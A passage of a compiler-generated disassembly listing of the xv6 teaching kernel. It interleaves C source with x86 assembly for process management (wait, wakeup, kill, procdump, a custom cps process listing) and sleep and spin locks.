<wait+0xd6> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103ea9: 83 ec 08 sub $0x8,%esp 80103eac: 68 20 2d 11 80 push $0x80112d20 80103eb1: 56 push %esi 80103eb2: e8 c9 fe ff ff call 80103d80 <sleep> havekids = 0; 80103eb7: 83 c4 10 add $0x10,%esp 80103eba: eb ae jmp 80103e6a <wait+0x2a> 80103ebc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(p->kstack); 80103ec0: 83 ec 0c sub $0xc,%esp 80103ec3: ff 73 08 pushl 0x8(%ebx) pid = p->pid; 80103ec6: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103ec9: e8 42 e4 ff ff call 80102310 <kfree> freevm(p->pgdir); 80103ece: 5a pop %edx 80103ecf: ff 73 04 pushl 0x4(%ebx) p->kstack = 0; 80103ed2: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103ed9: e8 f2 2d 00 00 call 80106cd0 <freevm> release(&ptable.lock); 80103ede: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103ee5: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103eec: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103ef3: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103ef7: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103efe: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103f05: e8 c6 05 00 00 call 801044d0 <release> return pid; 80103f0a: 83 c4 10 add $0x10,%esp } 80103f0d: 8d 65 f8 lea -0x8(%ebp),%esp 80103f10: 89 f0 mov %esi,%eax 80103f12: 5b pop %ebx 80103f13: 5e pop %esi 80103f14: 5d pop %ebp 80103f15: c3 ret release(&ptable.lock); 80103f16: 83 ec 0c sub $0xc,%esp return -1; 80103f19: be ff ff ff ff mov $0xffffffff,%esi release(&ptable.lock); 80103f1e: 68 20 2d 11 80 push $0x80112d20 80103f23: e8 a8 05 00 00 call 801044d0 <release> return -1; 80103f28: 83 c4 10 add $0x10,%esp 80103f2b: eb e0 jmp 80103f0d <wait+0xcd> 80103f2d: 8d 76 00 lea 0x0(%esi),%esi 80103f30 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103f30: 55 push %ebp 80103f31: 89 e5 mov %esp,%ebp 80103f33: 53 push %ebx 80103f34: 83 ec 10 sub $0x10,%esp 80103f37: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103f3a: 68 20 2d 11 80 push $0x80112d20 80103f3f: e8 cc 04 00 00 call 80104410 <acquire> 80103f44: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f47: b8 54 2d 11 80 mov $0x80112d54,%eax 80103f4c: eb 0c jmp 80103f5a <wakeup+0x2a> 80103f4e: 66 90 xchg %ax,%ax 80103f50: 83 c0 7c add $0x7c,%eax 80103f53: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103f58: 73 1c jae 80103f76 <wakeup+0x46> if(p->state == SLEEPING && p->chan == chan) 80103f5a: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103f5e: 75 f0 jne 80103f50 <wakeup+0x20> 80103f60: 3b 58 20 cmp 0x20(%eax),%ebx 80103f63: 75 eb jne 80103f50 <wakeup+0x20> p->state = RUNNABLE; 80103f65: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f6c: 83 c0 7c add $0x7c,%eax 80103f6f: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103f74: 72 e4 jb 80103f5a <wakeup+0x2a> wakeup1(chan); release(&ptable.lock); 80103f76: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103f7d: 8b 5d fc mov -0x4(%ebp),%ebx 80103f80: c9 leave release(&ptable.lock); 80103f81: e9 4a 05 00 00 jmp 801044d0 <release> 80103f86: 8d 76 00 lea 0x0(%esi),%esi 80103f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f90 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103f90: 55 push %ebp 80103f91: 89 e5 mov %esp,%ebp 80103f93: 53 push %ebx 80103f94: 83 ec 10 sub $0x10,%esp 80103f97: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103f9a: 68 20 2d 11 80 push $0x80112d20 80103f9f: e8 6c 04 00 00 call 80104410 <acquire> 80103fa4: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103fa7: b8 54 2d 11 80 mov $0x80112d54,%eax 80103fac: eb 0c jmp 80103fba <kill+0x2a> 80103fae: 66 90 xchg %ax,%ax 80103fb0: 83 c0 7c add $0x7c,%eax 80103fb3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103fb8: 73 36 jae 80103ff0 <kill+0x60> if(p->pid == pid){ 80103fba: 39 58 10 cmp %ebx,0x10(%eax) 80103fbd: 75 f1 jne 80103fb0 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103fbf: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103fc3: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103fca: 75 07 jne 80103fd3 <kill+0x43> p->state = RUNNABLE; 80103fcc: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 80103fd3: 83 ec 0c sub $0xc,%esp 80103fd6: 68 20 2d 11 80 push $0x80112d20 80103fdb: e8 f0 04 00 00 call 801044d0 <release> return 0; 80103fe0: 83 c4 10 add $0x10,%esp 80103fe3: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 80103fe5: 8b 5d fc mov -0x4(%ebp),%ebx 80103fe8: c9 leave 80103fe9: c3 ret 80103fea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&ptable.lock); 80103ff0: 83 ec 0c sub $0xc,%esp 80103ff3: 68 20 2d 11 80 push $0x80112d20 80103ff8: e8 d3 04 00 00 call 801044d0 <release> return -1; 80103ffd: 83 c4 10 add $0x10,%esp 80104000: b8 ff ff ff ff mov $0xffffffff,%eax } 80104005: 8b 5d fc mov -0x4(%ebp),%ebx 80104008: c9 leave 80104009: c3 ret 8010400a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104010 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80104010: 55 push %ebp 80104011: 89 e5 mov %esp,%ebp 80104013: 57 push %edi 80104014: 56 push %esi 80104015: 53 push %ebx 80104016: 8d 75 e8 lea -0x18(%ebp),%esi int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104019: bb 54 2d 11 80 mov $0x80112d54,%ebx { 8010401e: 83 ec 3c sub $0x3c,%esp 80104021: eb 24 jmp 80104047 <procdump+0x37> 80104023: 90 nop 80104024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80104028: 83 ec 0c sub $0xc,%esp 8010402b: 68 21 76 10 80 push $0x80107621 80104030: e8 2b c6 ff ff call 80100660 <cprintf> 80104035: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104038: 83 c3 7c add $0x7c,%ebx 8010403b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80104041: 0f 83 81 00 00 00 jae 801040c8 <procdump+0xb8> if(p->state == UNUSED) 80104047: 8b 43 0c mov 0xc(%ebx),%eax 8010404a: 85 c0 test %eax,%eax 8010404c: 74 ea je 80104038 <procdump+0x28> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8010404e: 83 f8 05 cmp $0x5,%eax state = "???"; 80104051: ba 00 76 10 80 mov $0x80107600,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104056: 77 11 ja 80104069 <procdump+0x59> 80104058: 8b 14 85 b4 76 10 80 mov -0x7fef894c(,%eax,4),%edx state = "???"; 8010405f: b8 00 76 10 80 mov $0x80107600,%eax 80104064: 85 d2 test %edx,%edx 80104066: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80104069: 8d 43 6c lea 0x6c(%ebx),%eax 8010406c: 50 push %eax 8010406d: 52 push %edx 8010406e: ff 73 10 pushl 0x10(%ebx) 80104071: 68 04 76 10 80 push $0x80107604 80104076: e8 e5 c5 ff ff call 80100660 <cprintf> if(p->state == SLEEPING){ 8010407b: 83 c4 10 add $0x10,%esp 8010407e: 83 7b 0c 02 cmpl $0x2,0xc(%ebx) 80104082: 75 a4 jne 80104028 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80104084: 8d 45 c0 lea -0x40(%ebp),%eax 80104087: 83 ec 08 sub $0x8,%esp 8010408a: 8d 7d c0 lea -0x40(%ebp),%edi 8010408d: 50 push %eax 8010408e: 8b 43 1c mov 0x1c(%ebx),%eax 80104091: 8b 40 0c mov 0xc(%eax),%eax 80104094: 83 c0 08 add $0x8,%eax 80104097: 50 push %eax 80104098: e8 53 02 00 00 call 801042f0 <getcallerpcs> 8010409d: 83 c4 10 add $0x10,%esp for(i=0; i<10 && pc[i] != 0; i++) 801040a0: 8b 17 mov (%edi),%edx 801040a2: 85 d2 test %edx,%edx 801040a4: 74 82 je 80104028 <procdump+0x18> cprintf(" %p", pc[i]); 801040a6: 83 ec 08 sub $0x8,%esp 801040a9: 83 c7 04 add $0x4,%edi 801040ac: 52 push %edx 801040ad: 68 41 70 10 80 push $0x80107041 801040b2: e8 a9 c5 ff ff call 80100660 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 801040b7: 83 c4 10 add $0x10,%esp 801040ba: 39 fe cmp %edi,%esi 801040bc: 75 e2 jne 801040a0 <procdump+0x90> 801040be: e9 65 ff ff ff jmp 80104028 <procdump+0x18> 801040c3: 90 nop 801040c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } 801040c8: 8d 65 f4 lea -0xc(%ebp),%esp 801040cb: 5b pop %ebx 801040cc: 5e pop %esi 801040cd: 5f pop %edi 801040ce: 5d pop %ebp 801040cf: c3 ret 801040d0 <cps>: int cps() { 801040d0: 55 push %ebp 801040d1: 89 e5 mov %esp,%ebp 801040d3: 53 push %ebx 801040d4: 83 ec 10 sub $0x10,%esp asm volatile("sti"); 801040d7: fb sti struct proc *p; //Enable interrupts on this pros sti(); //loop acquire(&ptable.lock); 801040d8: 68 20 2d 11 80 push $0x80112d20 cprintf("Name \t Pid \t State \t\n"); for( p=ptable.proc; p<&ptable.proc[NPROC]; p++) 801040dd: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 801040e2: e8 29 03 00 00 call 80104410 <acquire> cprintf("Name \t Pid \t State \t\n"); 801040e7: c7 04 24 0d 76 10 80 movl $0x8010760d,(%esp) 801040ee: e8 6d c5 ff ff call 80100660 <cprintf> 801040f3: 83 c4 10 add $0x10,%esp 801040f6: eb 1d jmp 80104115 <cps+0x45> 801040f8: 90 nop 801040f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { if(p->state == SLEEPING ) cprintf("%s \t %d \t SLEEPING\n ", p->name, p->pid); else if(p->state == RUNNING ) 80104100: 83 f8 04 cmp $0x4,%eax 80104103: 74 5b je 80104160 <cps+0x90> cprintf("%s \t %d \t RUNNING\n ", p->name, p->pid); else if(p->state == RUNNABLE ) 80104105: 83 f8 03 cmp $0x3,%eax 80104108: 74 76 je 80104180 <cps+0xb0> for( p=ptable.proc; p<&ptable.proc[NPROC]; p++) 8010410a: 83 c3 7c add $0x7c,%ebx 8010410d: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80104113: 73 2a jae 8010413f <cps+0x6f> if(p->state == SLEEPING ) 80104115: 8b 43 0c mov 0xc(%ebx),%eax 80104118: 83 f8 02 cmp $0x2,%eax 8010411b: 75 e3 jne 80104100 <cps+0x30> cprintf("%s \t %d \t SLEEPING\n ", p->name, 8010411d: 8d 43 6c lea 0x6c(%ebx),%eax 80104120: 83 ec 04 sub $0x4,%esp 80104123: ff 73 10 pushl 0x10(%ebx) for( p=ptable.proc; p<&ptable.proc[NPROC]; p++) 80104126: 83 c3 7c add $0x7c,%ebx cprintf("%s \t %d \t SLEEPING\n ", p->name, 80104129: 50 push %eax 8010412a: 68 23 76 10 80 push $0x80107623 8010412f: e8 2c c5 ff ff call 80100660 <cprintf> 80104134: 83 c4 10 add $0x10,%esp for( p=ptable.proc; p<&ptable.proc[NPROC]; p++) 80104137: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 8010413d: 72 d6 jb 80104115 <cps+0x45> cprintf("%s \t %d \t RUNNABLE\n ", p->name, p->pid); } release(&ptable.lock); 8010413f: 83 ec 0c sub $0xc,%esp 80104142: 68 20 2d 11 80 push $0x80112d20 80104147: e8 84 03 00 00 call 801044d0 <release> return 22; } 8010414c: b8 16 00 00 00 mov $0x16,%eax 80104151: 8b 5d fc mov -0x4(%ebp),%ebx 80104154: c9 leave 80104155: c3 ret 80104156: 8d 76 00 lea 0x0(%esi),%esi 80104159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi cprintf("%s \t %d \t RUNNING\n ", p->name, 80104160: 8d 43 6c lea 0x6c(%ebx),%eax 80104163: 83 ec 04 sub $0x4,%esp 80104166: ff 73 10 pushl 0x10(%ebx) 80104169: 50 push %eax 8010416a: 68 38 76 10 80 push $0x80107638 8010416f: e8 ec c4 ff ff call 80100660 <cprintf> 80104174: 83 c4 10 add $0x10,%esp 80104177: eb 91 jmp 8010410a <cps+0x3a> 80104179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%s \t %d \t RUNNABLE\n ", p->name, 80104180: 8d 43 6c lea 0x6c(%ebx),%eax 80104183: 83 ec 04 sub $0x4,%esp 80104186: ff 73 10 pushl 0x10(%ebx) 80104189: 50 push %eax 8010418a: 68 4c 76 10 80 push $0x8010764c 8010418f: e8 cc c4 ff ff call 80100660 <cprintf> 80104194: 83 c4 10 add $0x10,%esp 80104197: e9 6e ff ff ff jmp 8010410a <cps+0x3a> 8010419c: 66 90 xchg %ax,%ax 8010419e: 66 90 xchg %ax,%ax 801041a0 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 801041a0: 55 push %ebp 801041a1: 89 e5 mov %esp,%ebp 801041a3: 53 push %ebx 801041a4: 83 ec 0c sub $0xc,%esp 801041a7: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 801041aa: 68 cc 76 10 80 push $0x801076cc 801041af: 8d 43 04 lea 0x4(%ebx),%eax 801041b2: 50 push %eax 801041b3: e8 18 01 00 00 call 801042d0 <initlock> lk->name = name; 801041b8: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 801041bb: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 801041c1: 83 c4 10 add $0x10,%esp lk->pid = 0; 801041c4: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 801041cb: 89 43 38 mov %eax,0x38(%ebx) } 801041ce: 8b 5d fc mov -0x4(%ebp),%ebx 801041d1: c9 leave 801041d2: c3 ret 801041d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041e0 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 56 push %esi 801041e4: 53 push %ebx 801041e5: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 801041e8: 83 ec 0c sub $0xc,%esp 801041eb: 8d 73 04 lea 0x4(%ebx),%esi 801041ee: 56 push %esi 801041ef: e8 1c 02 00 00 call 80104410 <acquire> while (lk->locked) { 801041f4: 8b 13 mov (%ebx),%edx 801041f6: 83 c4 10 add $0x10,%esp 801041f9: 85 d2 test %edx,%edx 801041fb: 74 16 je 80104213 <acquiresleep+0x33> 801041fd: 8d 76 00 lea 0x0(%esi),%esi sleep(lk, &lk->lk); 80104200: 83 ec 08 sub $0x8,%esp 80104203: 56 push %esi 80104204: 53 push %ebx 80104205: e8 76 fb ff ff call 80103d80 <sleep> while (lk->locked) { 8010420a: 8b 03 mov (%ebx),%eax 8010420c: 83 c4 10 add $0x10,%esp 8010420f: 85 c0 test %eax,%eax 80104211: 75 ed jne 80104200 <acquiresleep+0x20> } lk->locked = 1; 80104213: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104219: e8 c2 f5 ff ff call 801037e0 <myproc> 8010421e: 8b 40 10 mov 0x10(%eax),%eax 80104221: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104224: 89 75 08 mov %esi,0x8(%ebp) } 80104227: 8d 65 f8 lea -0x8(%ebp),%esp 8010422a: 5b pop %ebx 8010422b: 5e pop %esi 8010422c: 5d pop %ebp release(&lk->lk); 8010422d: e9 9e 02 00 00 jmp 801044d0 <release> 80104232: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104240 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80104240: 55 push %ebp 80104241: 89 e5 mov %esp,%ebp 80104243: 56 push %esi 80104244: 53 push %ebx 80104245: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104248: 83 ec 0c sub $0xc,%esp 8010424b: 8d 73 04 lea 0x4(%ebx),%esi 8010424e: 56 push %esi 8010424f: e8 bc 01 00 00 call 80104410 <acquire> lk->locked = 0; 80104254: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010425a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104261: 89 1c 24 mov %ebx,(%esp) 80104264: e8 c7 fc ff ff call 80103f30 <wakeup> release(&lk->lk); 80104269: 89 75 08 mov %esi,0x8(%ebp) 8010426c: 83 c4 10 add $0x10,%esp } 8010426f: 8d 65 f8 lea -0x8(%ebp),%esp 80104272: 5b pop %ebx 80104273: 5e pop %esi 80104274: 5d pop %ebp release(&lk->lk); 80104275: e9 56 02 00 00 jmp 801044d0 <release> 8010427a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104280 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104280: 55 push %ebp 80104281: 89 e5 mov %esp,%ebp 80104283: 57 push %edi 80104284: 56 push %esi 80104285: 53 push %ebx 80104286: 31 ff xor %edi,%edi 80104288: 83 ec 18 sub $0x18,%esp 8010428b: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010428e: 8d 73 04 lea 0x4(%ebx),%esi 80104291: 56 push %esi 80104292: e8 79 01 00 00 call 80104410 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 80104297: 8b 03 mov (%ebx),%eax 80104299: 83 c4 10 add $0x10,%esp 8010429c: 85 c0 test %eax,%eax 8010429e: 74 13 je 801042b3 <holdingsleep+0x33> 801042a0: 8b 5b 3c mov 0x3c(%ebx),%ebx 801042a3: e8 38 f5 ff ff call 801037e0 <myproc> 801042a8: 39 58 10 cmp %ebx,0x10(%eax) 801042ab: 0f 94 c0 sete %al 801042ae: 0f b6 c0 movzbl %al,%eax 801042b1: 89 c7 mov %eax,%edi release(&lk->lk); 801042b3: 83 ec 0c sub $0xc,%esp 801042b6: 56 push %esi 801042b7: e8 14 02 00 00 call 801044d0 <release> return r; } 801042bc: 8d 65 f4 lea -0xc(%ebp),%esp 801042bf: 89 f8 mov %edi,%eax 801042c1: 5b pop %ebx 801042c2: 5e pop %esi 801042c3: 5f pop %edi 801042c4: 5d pop %ebp 801042c5: c3 ret 801042c6: 66 90 xchg %ax,%ax 801042c8: 66 90 xchg %ax,%ax 801042ca: 66 90 xchg %ax,%ax 801042cc: 66 90 xchg %ax,%ax 801042ce: 66 90 xchg %ax,%ax 801042d0 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 801042d0: 55 push %ebp 801042d1: 89 e5 mov %esp,%ebp 801042d3: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 801042d6: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 801042d9: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 801042df: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 801042e2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 801042e9: 5d pop %ebp 801042ea: c3 ret 801042eb: 90 nop 801042ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042f0 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 801042f0: 55 push %ebp uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801042f1: 31 d2 xor %edx,%edx { 801042f3: 89 e5 mov %esp,%ebp 801042f5: 53 push %ebx ebp = (uint*)v - 2; 801042f6: 8b 45 08 mov 0x8(%ebp),%eax { 801042f9: 8b 4d 0c mov 0xc(%ebp),%ecx ebp = (uint*)v - 2; 801042fc: 83 e8 08 sub $0x8,%eax 801042ff: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104300: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx 80104306: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010430c: 77 1a ja 80104328 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010430e: 8b 58 04 mov 0x4(%eax),%ebx 80104311: 89 1c 91 mov %ebx,(%ecx,%edx,4) for(i = 0; i < 10; i++){ 80104314: 83 c2 01 add $0x1,%edx ebp = (uint*)ebp[0]; // saved %ebp 80104317: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104319: 83 fa 0a cmp $0xa,%edx 8010431c: 75 e2 jne 80104300 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 8010431e: 5b pop %ebx 8010431f: 5d pop %ebp 80104320: c3 ret 80104321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104328: 8d 04 91 lea (%ecx,%edx,4),%eax 8010432b: 83 c1 28 add $0x28,%ecx 8010432e: 66 90 xchg %ax,%ax pcs[i] = 0; 80104330: c7 00 00 00 00 00 movl $0x0,(%eax) 80104336: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 80104339: 39 c1 cmp %eax,%ecx 8010433b: 75 f3 jne 80104330 <getcallerpcs+0x40> } 8010433d: 5b pop %ebx 8010433e: 5d pop %ebp 8010433f: c3 ret 80104340 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104340: 55 push %ebp 80104341: 89 e5 mov %esp,%ebp 80104343: 53 push %ebx 80104344: 83 ec 04 sub $0x4,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104347: 9c pushf 80104348: 5b pop %ebx asm volatile("cli"); 80104349: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010434a: e8 f1 f3 ff ff call 80103740 <mycpu> 8010434f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104355: 85 c0 test %eax,%eax 80104357: 75 11 jne 8010436a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104359: 81 e3 00 02 00 00 and $0x200,%ebx 8010435f: e8 dc f3 ff ff call 80103740 <mycpu> 80104364: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010436a: e8 d1 f3 ff ff call 80103740 <mycpu> 8010436f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104376: 83 c4 04 add $0x4,%esp 80104379: 5b pop %ebx 8010437a: 5d pop %ebp 8010437b: c3 ret 8010437c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104380 <popcli>: void popcli(void) { 80104380: 55 push %ebp 80104381: 89 e5 mov %esp,%ebp 80104383: 83 ec 08 sub $0x8,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104386: 9c pushf 80104387: 58 pop %eax if(readeflags()&FL_IF) 80104388: f6 c4 02 test $0x2,%ah 8010438b: 75 35 jne 801043c2 <popcli+0x42> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 8010438d: e8 ae f3 ff ff call 80103740 <mycpu> 80104392: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax) 80104399: 78 34 js 801043cf <popcli+0x4f> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 8010439b: e8 a0 f3 ff ff call 80103740 <mycpu> 801043a0: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801043a6: 85 d2 test %edx,%edx 801043a8: 74 06 je 801043b0 <popcli+0x30> sti(); } 801043aa: c9 leave 801043ab: c3 ret 801043ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(mycpu()->ncli == 0 && mycpu()->intena) 801043b0: e8 8b f3 ff ff call 80103740 <mycpu> 801043b5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801043bb: 85 c0 test %eax,%eax 801043bd: 74 eb je 801043aa <popcli+0x2a> asm volatile("sti"); 801043bf: fb sti } 801043c0: c9 leave 801043c1: c3 ret panic("popcli - interruptible"); 801043c2: 83 ec 0c sub $0xc,%esp 801043c5: 68 d7 76 10 80 push $0x801076d7 801043ca: e8 c1 bf ff ff call 80100390 <panic> panic("popcli"); 801043cf: 83 ec 0c sub $0xc,%esp 801043d2: 68 ee 76 10 80 push $0x801076ee 801043d7: e8 b4 bf ff ff call 80100390 <panic> 801043dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801043e0 <holding>: { 801043e0: 55 push %ebp 801043e1: 89 e5 mov %esp,%ebp 801043e3: 56 push %esi 801043e4: 53 push %ebx 801043e5: 8b 75 08 mov 0x8(%ebp),%esi 801043e8: 31 db xor %ebx,%ebx pushcli(); 801043ea: e8 51 ff ff ff call 80104340 <pushcli> r = lock->locked && lock->cpu == mycpu(); 801043ef: 8b 06 mov (%esi),%eax 801043f1: 85 c0 test %eax,%eax 801043f3: 74 10 je 80104405 <holding+0x25> 801043f5: 8b 5e 08 mov 0x8(%esi),%ebx 801043f8: e8 43 f3 ff ff call 80103740 <mycpu> 801043fd: 39 c3 cmp %eax,%ebx 801043ff: 0f 94 c3 sete %bl 80104402: 0f b6 db movzbl %bl,%ebx popcli(); 80104405: e8 76 ff ff ff call 80104380 <popcli> } 8010440a: 89 d8 mov %ebx,%eax 8010440c: 5b pop %ebx 8010440d: 5e pop %esi 8010440e: 5d pop %ebp 8010440f: c3 ret 80104410 <acquire>: { 80104410: 55 push %ebp 80104411: 89 e5 mov %esp,%ebp 80104413: 56 push %esi 80104414: 53 push %ebx pushcli(); // disable interrupts to avoid deadlock. 80104415: e8 26 ff ff ff call 80104340 <pushcli> if(holding(lk)) 8010441a: 8b 5d 08 mov 0x8(%ebp),%ebx 8010441d: 83 ec 0c sub $0xc,%esp 80104420: 53 push %ebx 80104421: e8 ba ff ff ff call 801043e0 <holding> 80104426: 83 c4 10 add $0x10,%esp 80104429: 85 c0 test %eax,%eax 8010442b: 0f 85 83 00 00 00 jne 801044b4 <acquire+0xa4> 80104431: 89 c6 mov %eax,%esi asm volatile("lock; xchgl %0, %1" : 80104433: ba 01 00 00 00 mov $0x1,%edx 80104438: eb 09 jmp 80104443 <acquire+0x33> 8010443a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104440: 8b 5d 08 mov 0x8(%ebp),%ebx 80104443: 89 d0 mov %edx,%eax 80104445: f0 87 03 lock xchg %eax,(%ebx) while(xchg(&lk->locked, 1) != 0) 80104448: 85 c0 test %eax,%eax 8010444a: 75 f4 jne 80104440 <acquire+0x30> __sync_synchronize(); 8010444c: f0 83 0c 24 00 lock orl $0x0,(%esp) lk->cpu = mycpu(); 80104451: 8b 5d 08 mov 0x8(%ebp),%ebx 80104454: e8 e7 f2 ff ff call 80103740 <mycpu> getcallerpcs(&lk, lk->pcs); 80104459: 8d 53 0c lea 0xc(%ebx),%edx lk->cpu = mycpu(); 8010445c: 89 43 08 mov %eax,0x8(%ebx) ebp = (uint*)v - 2; 8010445f: 89 e8 mov %ebp,%eax 80104461: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104468: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx 8010446e: 81 f9 fe ff ff 7f cmp $0x7ffffffe,%ecx 80104474: 77 1a ja 80104490 <acquire+0x80> pcs[i] = ebp[1]; // saved %eip 80104476: 8b 48 04 mov 0x4(%eax),%ecx 80104479: 89 0c b2 mov %ecx,(%edx,%esi,4) for(i = 0; i < 10; i++){ 8010447c: 83 c6 01 add $0x1,%esi ebp = (uint*)ebp[0]; // saved %ebp 8010447f: 8b 00 